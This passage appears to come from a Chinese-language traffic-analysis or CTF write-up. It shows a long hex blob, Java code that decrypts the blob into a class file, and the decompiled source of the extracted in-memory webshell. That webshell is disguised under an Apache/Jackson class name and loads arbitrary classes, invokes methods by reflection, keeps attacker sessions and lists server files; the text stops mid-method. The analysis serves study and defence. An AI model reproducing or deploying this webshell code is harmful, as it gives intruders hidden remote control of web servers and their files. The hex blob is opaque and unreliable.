57b4bcbc729952dddf984d56f5c871d0736a4d4aa8f20fa3608fbdb6b1eaff177e1da6f8d2d9d7da78a8d56a0225501fa7092c29e7d36fa79e6030d752f7ccd8f5a5717018407f8b5348a3e065829ad48ce4e246339fd1b56ee8edcca1a955a1dda020f845c204071f840a37780596c9421db8713d8f40462e30def5afb627fe4d76302bcd4ad20e454aa8a7f8fe4f07816679cc49f17ab71c8eed4115b4813cab901f0d28e6ea4dfd4ef41b03fbd9ba818b4641c0fcf4376529ed3db343cc605a85070b4a06ee86409e3d2163a1854e35f1461ebaf2f1b904cbe23c5b275596cda1e2a9bdc66d5aa4fff0e968a71b52b1adcaeb67541d613be970a8e8736af366ef762d0e4686e6ebea3648ab5f4a9d3674196561cdbc18cd6480850a66e39f31c16163fb54e2b1740550165554dc3bbc5ad2187ef5d38e5a0e4a17ca5c2d8126f91bb294acf58587f783905fb686cc376d4fc55806d3318fd54a434b07d130c5d5e67eeff4b2da9dd9ea79e6deaaa7e139943d9c5c653041ee6ea8bfdc9eb35935a0dbb23c0a632b012bbbac235488d5962eae7de2b0ad7c1b403ad96e375a0855b3ae21d2e4bae2e6dd10d6c934a809517b2f5afc910a6a5e38390295769844ce6e44f44600876307255fdc7c2fb032aceb0de53b3a36423fb588511c5634eaeb2aa4bbad2132ccd7dbfc02cb189b0deb0a671da604f20557677388c310c66a47c60517547a71a353a3c66021fd56aa617f2b346bae7db0329b9eb4573c6654c0dd322fcbd764e4e252b88b2692ab6178db3ee9d2cf03ca406e35b82d3c3b2cb58845d579575c4d963923f6ee8333a68f7d42ad679a90406236705ec2ae1fc54f17f35414ca1c3905d7ae296875f0ad16ab2daea3aec935b7be9ce6656de6fa629e746cfac31495b509b1fabbecf848bc4c70e04a80e7b9dcc77f448d96875911b7f05c5915c29f487d9803067542d348f51547acac7bcc33965c39b890deffcd278f69eb9c3d3114c883cd6d8da52e944646186a137a1ec6851406658c6ec5f9be55d49ba6e0d80dc6c9015ee0762cc14bbf18ca0c8367556708447fba06ee5bde69d87a7910e7736138b29d22dd9ac9d3326f2ef87967a4d056b09c3971c47f92bba36940207f980aa3157aff86ff052050299f54827ec88cf67bad71343d3468c4cb9b3843c058ae5169517041fc99c4694e498544c2d963401df1463d8338a43d268ceebb929bec3cb138697192a3522320f04de344333e08827e45746d4c1b6b8517c6c476053453ab07a16ed4b7c7ca426290017c0b0e417af08e955b15e89bfd18e721f47f87862edc26767807a3a4c538ad351a41f2f2600e59cda2ab1efca489b777eddc668f5eaa439c2dfb50a2c70cfb5a0a0bffbd035f257ee0ca8f67adc5a61640f22e558738236044f91d13283661eed69991a20308a0fb6f21f095784d476bc8fa4987a6e4f2646e74e9b567fbd951f1625bd64a95df92d4ca102f64d4f7d79123b6ff55a644b17b3760b8a0ad7ce92ea278cb7a88b755c32533bf68a6837ddee49382b8f74a994719ab1c309cde2a9bb52195b23c6b904cce51bf27d5047dd4a533fa89a83904d2f7e46732a5c8ccb5fd4c65f91b90ba2697e7487edfb920ca4a1524836ec72e88bc5f6fcb0e81826df905772c5ddfdbba4a9b550190de150524c1a160178a5d8ea4def27a73202fe540d81e870dc2d11fca438ce1e3f57181fd8e15a7f9b12dfe5effbed964ee57a599c87b151a16526a5abd33a84507562b28a45dc7d294104f377ea0967a182e9bcca9604a7bc22f4fab218deb82ae3527c3ce685ff84305d73c5e851b1cf9064b469ee8d18d5d6c9e6fd210c141c839fe03b06edd5ad6b38c068b9083c3b4d7c17abb2059d6c3fd57534f649d7ba3f8a97fb7eef0de55aa0b74f4099ffae9f2192d1a931ff87c0c4a3af824bacfa6238225935df407b5d77a068ccbd03ea727834470350708306f47d76cf08b7967146eda1e245da1939f00a4651dbeda30f4ebbfa3b14faba0e1a5d2cda54272e9464fe449d63d65dc03662fcaa6d52fd7781e0fc1d6f866695b1f18643516f62c44ef91b789bd3f056b2469c64a7076fe15e65c984fe54608b1402e942be349fb140ccdf73c5cd2e111d595da71da6ce7f3562c7242b9bdb2d51546992c510a289262d4bf118a36c7eab75f4729c1823f61b649d4878ecc8be907c06619b19d30823c3942d289eafc2abad29b945a30f6f9fc88863441c7748a96cad4f38e61ba36bbb041a15f4157e76de164536b250aa86f0ff0d5768079f1df5c63a44aa26b337849e3328a644883d7c9226ee869684bd9dd7be47eae5a5d6f0091b3a428b9880ef986a93736a8bccdf3fdd3bdbffd08d10c5699ab63d4d7ee5da485c939b4583935f9a64096b7d9e3e303dd2755d939ae08c77bb032cd30d00b7fd93891ae5ab14ede4c2f6b37d00d7020ad1f173831f657552df44791a2b1341bf564e47b7fce112613eccd89dd4ccac5ab51b26ae696353d4f77e20d9bc20c2d1342c3c7f8d5b4db54b75d9e10bf80b7ca4619d589579613b02a35689dde6ed3295850af4ba34db193911b6fd4811c7b38005486006d00c9e1efe19e25d247023b356f411875a3bcf16dce6c10375a036c8a37e3f8edb908460d49af82be07e446451c30463f5500e791f0a99445c526f0dbde97567510ab42ae39c76abfe5be1a08edede7f636f5af197050dac85028975cc28a0b55753b70c7a351ace0b5b037f8c2875816f3124e89291928cf9107211f005a893f60e5cbbf0f8d923c21cf1a40b23097275cbb294bf8c109f02850b1180769eb66616f7301adc38edb27c1e22e39259c753708cc10ba6ddda38f9779ff182a2277f7609ba0afebdebf7b6583b51b98acf93211aaa14d7a6471cc7371f1b4e9fde6c1842d6468d63d3d4abec6ac8f993092468bcbeb47ea19b4aa54ab23393c961f568f1ad84dd31d09c31836940547010aca6dbef726db095f942ebe1b5c18782d33cea64d08f3d8049e11c263d0efa4d709e96d9cb8757b758b47071144d125bdf88597d32d2af3b0193fc18814256e0b80f9ffe0616098f0225fdaa6affdb19f6dd9a5800b53d4fbec91ca8a6a4ba17c378757c6685f3fe50aff75fcbfaae63c33bcfd9ebcf02ecd3020a0474c398d87a89ec077f26756afbedce55821f31d1b001a2237409c1d094dd0feea3eaeddda2a5ff3955fab5b3b9748d2280c0e12644ec26710141605c904672963927e6f978c2494cecbb4462236cbf9a732c37ef7ea610a589d22c24baf6741dac1c28cab07259a9c4530d6e89ec270f8ca7a404f63a562c58935d95c0eb35dfd3d2555905195ef643dcf78e76c62bd39c2a9e4410781e80323665aa8e945f6582d319ccd65e9964e6152ba25494e68cf3e8271cffa9bc435a5922728078f646523bb89f0d6295910376ce95118b4067d465e01cdfc9a0192e89feb19e4a52b92ebf4d5caf9ed1857041a3c21fbf6aa9c4790ac8388ec698d1cb618a1cc0b90d897d730718a73556e5506aac230a94aa5118c5f44f812c0d0793ae499ac1586e86a2d151c730a03820a52c6eacb99c907b83268a449bbe973fd52179e1fccff52dbf6c0e27158259acbda829127c18304f2a1a0e28fbcb701ee46ac42c8cea493ca5d48e7bb3ec134718d0b8978ba12e2362f6370fba6fca27f37cd11c1147726de07091e7582c4517dc767026f0087f7b718f1e71b25a0f7cd17ba308c6a8da6f97f754d61f6dd05e85f1bb0d760862aa7ebfd3e040605ddbe71e71b58d27d564924f8db379e38f88d3997952698272e1426927a88d92c0e200fbea08055b15a8a9c6eafe43a754b8293d2a6ebaffefbe4ab9c694ba0555f2f45a501f6c3551a68d0f13e1be42ccc90bc582ffadee8f1159072a4f4474f3767bae16c823d90c969a700fb9910551b54909a9b728750bd08993f1f84da1e9d961965e4a768644b0d82dea1fd3971f448bf5362634b441b6ee8bbd1725178adf5ce1903098f316e4874040e20472602b1ea6332564013710d3d6feb8b507567260ec71f1dc1c770f35a0caa52d2f99cb1c8379f27e6ce6e42353242fab01c546479332adbad30f9ae74a8f3cd0fecc1e192460a732834cd335b89e1bc2eeb41a3109d3280cc8ae45ba56dd458ee0dd0bbdbcc8ef4586141f1c711cb0dd1387eafb0a2a22132ec1326ff5a6ddd465de0d268582f706bc1dc9455d2e3042cecca0a75d09be7f74f8ed4514ceca309d79597c85aa3c9438c3515d9da17ae8112fe2ae7baa86f6395de0f32baae42502f3d3032ca759fe44f5ba8f01ba2cc97e2cd82562cf5bd76e1db251b45d9995fa6d7ba84460e7bd0dad4976d003be32568c6e4f9bc3b1ccdf294c3ae5d643f7c9d15c32eaa559d6ecf8d5e45bfc705c623806b0f87afb773ce8f5d93cea44bd97bb5ad94c0a829bd4f5353570921f24d9effa4b273cc9bf1dd267e39cc49c11aaf36132d0404702d445cc43cd53cbe736361a5d7baedca5652ca82dd416c1ed3ce1f96b8377c7b817d59095ec29a79d2da2a8561eb47f93f7371ead7133876bde2a6ec9157e5931d511f3f9db7f3a71ae225422d877515eb6296c0dce1f2bd5dd9d40bdf9b6b6985a60f0018d7f6284f38d6be87ef5b99f3d144f0c69735aba7ad56a8fcabfb7475f4e367ebf52b43d703fd092e8bffa91b95c89ec72edcc331f81bbdeef150b2d8e175c99450380e0a6280a5e55b91ba2529cb8b9c73cfeac0dd713d752dee200f5323993c4accbcdd2437fcb2dab1ac06aafed2cd1a0cb0d1190e08f78dc88dcf70d44ffda29fb96681474ff468049d8accebbd2cc6297cffe42b75f1ff08e4ef0a351dae9b77aea0d555642c1a80c6bceeba4e4d6747b7fdfd2749fc854f865474d13d6a4a86e80f4210a01a7ad19ae50e98e638e03c00d8f578456445da5ed34015d0f131cd1184cb22c0255d519d1587996af8cfb77c9080b425f944ab7a2e81f1f79426db94e09b52f4663d0f8cf6e8ee69a40944b25f74ef957e6d6ffbfa54c8dfaf14be4f690ef5c9cc6ecb2b674293dd9ffbfb21f472dd665093c510842c2e38bbbc126d26c41b5ec947c74efb63412f91f5548a1f0e01687e74101bc7b4a34de4d7562b6f9daf68e896215b25fa7d5aa0da1df8c3e5537f17c7661b6379538fd0ba7cb6e287c389cf385b1af019b276d2d856ee4c1b990fe19ab80c9c6a7a0c630e4fcd09170df83dc6675b1723dbe96bb96bbfd568bbb8fbb210823e787dc9061fa40a5f816a9177baf939ba0ca8ac01dc721b5f09a7e42cd808be2a024d0aa70498a90d098c525f2b45e871fd331a3746331f94667dd0a3579e5cb66a4700586728eb20c4110769f4cf2eaa433c24728822bb1c50a998d758e5d62fe099144f52c1643069ea4b5b7d14e9f3a5fd68ec05a723178bc74dbc6c736d4bfb9eb286fbf3fbcc254c269b5677ae8862381409d8024ce076338e3ad843f6b9f360b28602b008fb659df43061c74df1eecad2357739bcd6b8c664561cf8cd04ae9261f329dc84cdb83b3466ec2ea60e9630471d8cfd036795a8fca35e513f589856ba423d589c8e4f4e9a443f49d6b493ceb0406712a7d68f6df8e49338de0df1d5eb5a749625b071dc905e142c75e9ded4f2119e679bd24bfa04692dd195f32f1643b27e156327c31170dfc2a95c2d5e7edf175e3c36f78dd855f117b421dd2095ee433b9e8794f8b7361b881d255215e5eac2d9b086ef261bf82fb9a22b78a5f4122fd78dfb49f07188ed1e8d20ebb42ee98bea802187fa519304625a08e27fd90a70c7835b7e6a9be806fcdb256f87370d31845b01b32b06a27d97cd98ce940d6a37fb25587052df5a3898a09a82fab25b9422ac93ea05d94eabbbfd9b5465a3df681a35261a672c8346642d1489a1e5ad4c2e12d8c36645f0db9929f6c42f7fb24f2bee223028b5703fb9f548ee835a555b7c774a1171aba392abe6ad34b30221976ce351dab115ea0f33472294dc7b12903af4cf55acba6215a4b695d9285926f47898f86a6795213662d8576cd64b8fa61bec556ba7a82d43eb5e02250904bc2ddc12cca92d8778db73d1178669431bec51f43f269f822ce1b8c41410b2e69bbff72bb9de9325f9dff95b345bc78ce2d3a5a4519e888932eb7d4d167643aa410de5e93796f8afc1d117b9b9420edd0bb0233eb42abb394f8608490285c978e42500e0270b47f7b1ef31dfb5832e1891ded0c6a07aa72222b18e6ffb2329774e3f7be120fb11c2f44544403365b0313e07073a9dfde5fd60ea0958e350c952dca3599470c1f43d07f2ddb6613c9c1f69db8fc1e3b59dadb945b3a4bd3a1f725a73bff4ab3867895c3478bc36b174d469d92ad62cdfc59cccb34ad9dfeae64f51c66e07d0e36e6ce1f6c69fbf1c07c9d1e2bd1e87dbf29e1e42f43e9bc3b175dba1736d483e32c5b02365d4efee9c8c88bc4564c65260678e45caadca963962b7aabbd76326ace7cc9d395676dde2782679cbfcef948f589ef7de142d58fd853b5835c43a55aebd6b465ef5c74d2ae7f7a6bbddc13faeeb3da82c0eb43142778e4f33bf4352c307e58994fcef216763b8bdcd3e50ddadca88c618c5f7c9dcf2f9a3891430cb77850e60e4ce6b2e0c08b310782b9789f57c3c5886bff551248b002257fa19b9100acdfcdb7a40c322acd9fc173e77fb98bc76c6c71e3421ad701551f7f63c1803922b06dc116d61c22f85a6c3bd9aa71f1cd04c779c88bd70cddeee7b03e8aee19fe1d352484161e3755291f72990d15f08608b95deb55a4da503b8dfc5901a907d7d464f3c10f47d42cf0ea8377edc31950ca9aeb209fec231459c71b336157f517fe19ec761431dd6023d8c8dff01b68a009d4b2ef5037b99124801c151268f5d6f4b979d451306f10b0c33a9d5acd7930baf6d023878f38afd8e54c9920940ec6dcfcab609aa078054cfdfc43e5f4d0d7a0cfa926d82f36b643f5fcdb466c3dc960d7f79f9050b896801c1464af59e1a857f38eec25b0352746b9205ff8525591f96baf77b66451fd4c0258e167a40d63e56360cab5af2ae978e3fec071538d9a4a4f8f813fe9a1b825d3d5b399948c2366da0cfdbd541fdc6ee764fdab378951aceff03fdae608014ee8a396f59e0192305b911f2c975286332336f0aa2499c2b2d88ccb5362e5bc7f399aca0e53e76a807b5f1b9fef3533c3c5e93a7352490a933c18d864a28c451e5bf8f65a6bf643bf829af4eea03cceed8ef775fa218fd11b42694c5ba861a789fabd7914bc5c920f76f6c1e83365a4e8e91943c159aa5f9fdc6bf9fe6040dd28abf04b6c9143ad8ef4d81251b59ef20d662efcea064297b6592aba4a9bf2b3faa11d3dea7c331fd3ce5164e7a22f8f0afd931a01801100821efa9d2cee87ce123bf02aeafabec1806e436e5526eebea309b2abb86b778c20c1955beaa3dde162cda2c9b5355af81258ddeff5a6ef671645afdfe8a95943056b17dbec3d28c4f02734fc9066963e88a37cc901354c66f9e1193d653a2e13a0c2ef01ab159c0cbff138ded031f20cf195a1b0542e4403ed4aea4eae4f0b3c21f863d7b0560649041b6512c45e418cca8b5d302f1182ded09699f2404f2bee3bf06cf7410a1e71ac968c30b6805650544f14b7931c8e6812010e7ff122748bda9664104e81d79b682fdba39d312664e7a758d531f1b534a964b6cd8e08584d60ecaae5ee62f7b93c6a60516d67e17b600c6ee47f8130fbe9cefcbcdb0eb6217cf8f3a9c851af8a89c94a315a71211d66b91952a58b4807b701bbd63984f81d2a2be546d5886a803b2d59d7ecf66d8d113fd80d214f5879b441b85d6bbb83a94e6d1d484b3e9d8e83f567f3c43020704896fc574e442eb75bdcbdfbad0167d7a65c58b1ea0caf54541cc603be1d31372014133ef46f1d81d2b715a5bd9ee8270ff15666db4c92d794eb9701f2319029664adfd6146e4b8328d758b2b52ca773dfd5bd900949350ca67e649b8557b11b546f52b5f29bbbb0fec931c117cd7c6fd96868799e5ab0f8c17e4ddbb831818f0ad0c77e8e26360518ae28019bf44f8ac6280d9f88f163d066837a51f50e06dee8e30b4523cb867f4c85360fb142ab34414c1668fdb5747f0abca9d74766ba797035f718e700e83613c3a0cd63545a9c7d10e3556e95d362003489711000f29388e435e1bd07558d033bda36e1b204da762bf7c6d6a15a2aaa5bb2f1af3fcf55048b715edbc42805c01678181116fefd77cb68e385a3274c386b5550ee11fbd9722d4c8dc91e7c5e201fccee8a4bbe04c3e72cb60140328d7308b56a62faf133a4f787cdd59c7d0fc438517cf8c8c4bf1abc2f526a4f910b19cfe1a3ac21ec3bdfc32a3a1b74652463d8157d44d0fd74e7d5c0fc2d8933a20035b9afe647cb234208eb04788cc9769c6f9548143c7f3584010b61b62d9b3688b58a544e0d9085476a0f947b5de9f35bc507c53311e10ffb920c71888d0d5d3050dc9cf800c6672bfb4d8b1e185e3c1f34d3ba3e4f847d3c78f875315b7503eed66fe16ecc7a1cb899621948d19e6ad5cb48d95b1374bad5e58f1af0a927331d4b2ddf1571033f5cc0f4f582877a0a9345d6f3e00ab97ccf61b43526e5cb99c0f82b5b9bd78c6792f8af68205f96f7bbc30021648184db28217e8698cbfea2b917e166694d13b92909ebffc6b33b7e493782c6496f045703cb6265175a6d109377f0f71b8b6b1ace6a99d1cf2f711364d7822a87f6865ec9c1b2fcf29fe0f9b6d896bc85527f162f625cbc4e255f942fdc3116b6aa5e362b445cfe5993b1c8bade46052fee150750c7231b98dba2ca4aa9aa16120db5865b40a5a0c2bb67e5a10cc4b1c91dd26fa6739073c924d6a6d90ca85af3b9243b6d8249448cc7934cfe5c082fcd4f1f26a867dee37686e35ad2d0049f0e6d56dcd4c4c97b312189ce703787003990c0b5685163cbe0da18aa311b64aa8550c4d137fc264707fe36bcd9234b323f34b3d82cc808f8544a501ff54d21c5aa8293baa947f2acff3595c2adfc55c5225071e26aaf69c20ff3f7101c8f9b93f9f5d9e0099951b1858b6227b9c196edb12a6cb5297586137082965802fe4898270982ce1210d0bbbb93db40517c8b4dc06e5164ac402957ff1ec3f259cdf9eec3379d26fa898645ad9a9a7a19f0bed4689541a2ad5c785c56c751f219ceb3a666bebf0c927ab5572d33e7a82527210b00956472276f0ce33593c6b9514ed60705b187e78976efeaf36c81f33b9de185915f1535a0885a6f35945399d870f69db8023b3940f6bbc6d13c00b4348bcb09e9bc69c6663808dbeb5bfbf599edeb32d8c0fd456ba54a4d0076d4c3645861023771765687dfd2cb3976d60fe3608329e07ac375092ac6d1e49cfda5200fa273626e67ba9d2229b50898c5c28a75b91991c85bb9fb0dd949f50793a29a4a6a5f64b6b36e4d532465c9e2c52a1fca0ab207b72eb2998fa378f6efdb4ce15207e3881f91bac239babb4059a82789612c1eaecd1b2bcf0d3a43de4d36c728363461e988365daed99b04f2db0365f06a8d2440121ea3150f6afd0e7f16574d14d0c91b0cdabd0f7b58337323419cc41db96e0b00f6fa9b61fe871d30d371169aaba99f456839881babed7f438e27f2439ffb86334cdf685aabc3bb6484ec6682e9fb90ce6b5955f34dc8137ae2b74f0b6f012261a8d9d60ceefadc9dcdbdafcd0e2de383a57a73327112f84283ef724e2886a846392c9ba4b36e1238110f27fd7c0f39a0c1693ddaec6ef84a245f89af77c15c8dbbf9da3167554182d04a3e1ef90f9bd5d493cd2d283a0a635cf5ea4b3bbc85960cb28c9674b4b0e1cf6d7532639794d7aa58020a60bd7e4c434d00edf376c04f8903c8c0f4754430a8f7e1f72c55b6100ca9f3aa9f0587f8f5a6545bac9e202fd3493748feefc8ee1f7e40f9a936fac5e262fba2267ea066002fbc4f42717e2ad83a8a329216b90e50079823f114777e4b57f058a6d24e9ec43070b1ffcf04d9a39a7a6b5caa732cf370519a09c58f78bffbfc5fc87d453581d9ddcff61875d2d6bb09f4ebcd8b15313210f8bc22ec07976b93f649cf97d61232216bd1db661da6efe0892d24d8df515f691e3a9b64019045fdb3b1a355a703443b6358c1853c3f25666827f0830fd5d0c6cc1864cf89bc59084aa3dff0f3ac989b23f94964a003a96b7f754071589792b6142703e083ad687a4e25b2c850f3dadf71e45eb1b0faed556c82d0d917af43fad87b33e36f362b14463d93423cf23e94e55886c322930ba854639acd04c2a7f4ac5553f9adb86b44c99db8103ab448eb243349df954d26504eb4017d7af6718438505fdc484accd73170560419a823c6b57f3f913df4fbdfc3c99f4a3833f777d940f41684ed20304791c360046c97f4ee53e758e596b7a039b5b4286689d58b8f478b2509f47316b4d96f2bf8180cffce8644ba3f9d0fe7d419a3f5ddceb7cca4f37247860909a011b95568f16d53b9cac7d3b9f27c7ec32bff85fd3f9c47f23b804205b9a792587f07d87cfadaeae241dc5703e794e10d6143198b87d29859f590f78b5762a203ea37883999f75b83849c8b58a07f09f4ee39a7def73db5afaf28f555d261b17ef19462b10b127302131bde5d45648ac522d717ec818852e215bc5c46b189b8f4170eeb7f87a033c71fed1eb55d00b26d091d23e00f4655e62134ffe925e05e7b60ae7a0c9c26ecc8f868d189766bd5cf36295310fcb07ebbceffb4942e6c12251e8fbbde85abd353762191f05a9aabb37cd3bcd2dff09004feb5599d4280cc96ff15c54b085e24593b837155c3bd83002d2f446c9076412364e82025bc761152d9f9c9514b407c568531b6950bd91e9a66f97f5c7d3985622db235f20bd0295a751f3d17a48edd463e84a47931c396b93777512cb39edd808457df1484b8094bc55d2cb666244b1f418742d097a9d376d8f18931cde53f3aa5b71232fd969614850bb82ccd56f3b28110cf4f51a2162da77fff72d1b8ac9633\"}"; byte[] requestData = b.getBytes(StandardCharsets.UTF_8); byte[] _requestData = new byte[requestData.length - 112]; //java.lang.System.arraycopy(requestData,110,_requestData); java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length); requestData = _requestData; requestData = unHex(requestData); requestData = aes128(requestData,2); Files.write(Paths.get("./233.class"),requestData); } } ``` 我们查看提取出的class内存马 ```java // // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.apache.coyote.introspect; import java.awt.Rectangle; import java.awt.Robot; import java.awt.Toolkit; import java.awt.image.BufferedImage; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.PrintStream; import java.io.RandomAccessFile; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.InetAddress; import java.net.URL; import java.sql.Connection; import java.sql.Driver; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.ResultSetMetaData; import java.sql.Statement; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Date; import java.util.Enumeration; import java.util.HashMap; import java.util.Hashtable; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.zip.GZIPInputStream; import java.util.zip.GZIPOutputStream; import javax.imageio.ImageIO; public class JacksonAnnotationIntrospector extends ClassLoader { public static final char[] toBase64 = new char[]{'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/'}; private static Map sessionMap = new Hashtable(); Map parameterMap; byte[] requestData; ByteArrayOutputStream outputStream; Object servletRequest; Map session; public JacksonAnnotationIntrospector() { } public JacksonAnnotationIntrospector(ClassLoader var1) { super(var1); } public Class defineClass(byte[] var1) { return super.defineClass((String)null, var1, 0, var1.length, this.getClass().getProtectionDomain()); } public byte[] run() { try { String var1 = this.get("evalClassName"); String var20 = this.get("methodName"); if (var20 == null) { return "Method is empty".getBytes(); } else { Object var21 = null; if (var1 != null) { Class var4 = (Class)this.session.get(var1); if (var4 == null) { return "Plugin module not loaded".getBytes(); } this.parameterMap.put("sessionTable", this.session); this.parameterMap.put("servletRequest", this.servletRequest); var21 = var4.newInstance(); } Method var22 = null; boolean var5 = var21 != null; Class var6 = var5 ? var21.getClass() : this.getClass(); var21 = var5 ? var21 : this; byte[] var7 = this.getByteArray("invokeMethod"); Class[] var8 = new Class[1]; Object[] var9 = new Object[]{var21}; if (var7 != null || !var5) { Class var10002; try { var10002 = class$0; if (var10002 == null) { try { var10002 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var17) { throw new NoClassDefFoundError(var17.getMessage()); } class$0 = var10002; } var8[0] = var10002; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var18) { try { var10002 = class$1; if (var10002 == null) { try { var10002 = Class.forName("java.util.Dictionary"); } catch (ClassNotFoundException var15) { throw new NoClassDefFoundError(var15.getMessage()); } class$1 = var10002; } var8[0] = var10002; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var16) { try { var8 = new Class[0]; var9 = new Object[0]; var22 = var6.getMethod(var20, var8); } catch (NoSuchMethodException var14) { return "No Such Method".getBytes(); } } } } Object var10 = null; if (var22 != null) { var10 = var22.invoke(var21, var9); } else { var21.equals(this.parameterMap); var21.toString(); var10 = this.parameterMap.get("result"); } Class var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var13) { throw new NoClassDefFoundError(var13.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var10)) { return (byte[])var10; } else { var10000 = class$3; if (var10000 == null) { try { var10000 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$3 = var10000; } if (var10000.isInstance(var10)) { return ((String)var10).getBytes(); } else { var10000 = class$0; if (var10000 == null) { try { var10000 = Class.forName("java.util.Map"); } catch (ClassNotFoundException var11) { throw new NoClassDefFoundError(var11.getMessage()); } class$0 = var10000; } return var10000.isInstance(var10) ? this.serialize((Map)var10) : "Incorrect return type".getBytes(); } } } } catch (Throwable var19) { ByteArrayOutputStream var2 = new ByteArrayOutputStream(); PrintStream var3 = new PrintStream(var2); var19.printStackTrace(var3); var3.flush(); var3.close(); return var2.toByteArray(); } } public HashMap deserialize(byte[] var1, boolean var2) { HashMap var3 = new HashMap(); ByteArrayInputStream var4 = new ByteArrayInputStream(var1); ByteArrayOutputStream var5 = new ByteArrayOutputStream(); byte[] var6 = new byte[4]; try { Object var7 = var4; if (var2) { var7 = new GZIPInputStream(var4); } while(true) { byte var8 = (byte)((InputStream)var7).read(); if (var8 == -1) { break; } int var9; String var10; if (var8 == 1) { ((InputStream)var7).read(var6); var9 = bytesToInt(var6); var10 = var5.toString(); var3.put(var10, this.deserialize(this.readInputStream((InputStream)var7, var9), false)); var5.reset(); } else if (var8 == 2) { ((InputStream)var7).read(var6); var9 = bytesToInt(var6); var10 = var5.toString(); var3.put(var10, this.readInputStream((InputStream)var7, var9)); var5.reset(); } else { var5.write(var8); } } } catch (Exception var11) { } return var3; } public byte[] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte[] var6; if (var5 instanceof byte[]) { var3.write(2); var6 = (byte[])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = this.serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); } public boolean equals(Object var1) { return var1 != null && this.handle(var1); } public boolean handle(Object var1) { if (var1 == null) { return false; } else { Class var10000 = class$4; if (var10000 == null) { try { var10000 = Class.forName("java.io.ByteArrayOutputStream"); } catch (ClassNotFoundException var3) { throw new NoClassDefFoundError(var3.getMessage()); } class$4 = var10000; } if (var10000.isInstance(var1)) { this.outputStream = (ByteArrayOutputStream)var1; } else { var10000 = class$2; if (var10000 == null) { try { var10000 = Class.forName("[B"); } catch (ClassNotFoundException var2) { throw new NoClassDefFoundError(var2.getMessage()); } class$2 = var10000; } if (var10000.isInstance(var1)) { this.requestData = (byte[])var1; } else if (this.supportClass(var1, ".servlet.http.HttpServletRequest")) { this.servletRequest = var1; } } return false; } } private boolean supportClass(Object var1, String var2) { if (var1 == null) { return false; } else { boolean var3 = false; Class var4 = null; try { try { var4 = Class.forName("javax" + var2, true, var1.getClass().getClassLoader()); } catch (Exception var5) { var4 = Class.forName("jakarta" + var2, true, var1.getClass().getClassLoader()); } } catch (Exception var6) { } if (var4 != null && var4.isInstance(var1)) { var3 = true; } return var3; } } public String toString() { if (this.outputStream != null && this.requestData != null) { try { this.parameterMap = this.deserialize(this.requestData, true); String var1 = this.sessionId(); if (var1 != null) { this.session = (Map)sessionMap.get(var1); } String var2 = this.get("methodName"); if (var2 == null || this.session == null && !"test".equals(var2)) { return super.toString(); } GZIPOutputStream var3 = new GZIPOutputStream(this.outputStream); byte[] var4 = this.run(); var3.write(var4); var3.close(); this.outputStream.close(); this.parameterMap = null; this.requestData = null; this.outputStream = null; this.servletRequest = null; this.session = null; } catch (Throwable var5) { } } return super.toString(); } public String get(String var1) { try { return new String((byte[])this.parameterMap.get(var1)); } catch (Exception var2) { return null; } } public byte[] getByteArray(String var1) { try { return (byte[])this.parameterMap.get(var1); } catch (Exception var2) { return null; } } public byte[] test() { HashMap var1 = new HashMap(); String var2 = this.sessionId(); if (this.session == null) { var2 = getRandomString(16); this.session = new Hashtable(); this.session.put("alive", Boolean.TRUE); sessionMap.put(var2, this.session); } var1.put("sessionId", var2); return this.serialize(var1); } public byte[] getFile() { String var1 = this.get("dirName"); HashMap var2 = new HashMap(); if (var1 != null) { var1 = var1.trim(); try { String var3 = (new File(var1)).getAbsoluteFile() + "/"; File var16 = new File(var3); if (var16.exists() && var16.isDirectory()) { File[] var5 = var16.listFiles(); if (var5 != null) { for(int var6 = 0; var6 < var5.length; ++var6) { HashMap var7 = new HashMap(); File var8 = var5[var6]; try { var7.put("0", var8.getName()); var7.put("1", var8.isDirectory() ? "0" : "1"); var7.put("2", (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(var8.lastModified()))); var7.put("3", Long.toString(var8.length())); StringBuffer var9 = (new StringBuffer(String.valueOf(var8.canRead() ? "R" : ""))).append(var8.canWrite() ? "W" : ""); try { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var12) { throw new NoClassDefFoundError(var12.getMessage()); } class$5 = var10001; } Method var10 = this.getMethodByClass(var10001, "canExecute", (Class[])null); if (var10 != null) { Boolean var11 = (Boolean)var10.invoke(var8); if (var11) { var9.append("X"); } } } catch (Throwable var13) { } String var17 = var9.toString(); var7.put("4", var17 != null && var17.trim().length() != 0 ? var17 : "F"); } catch 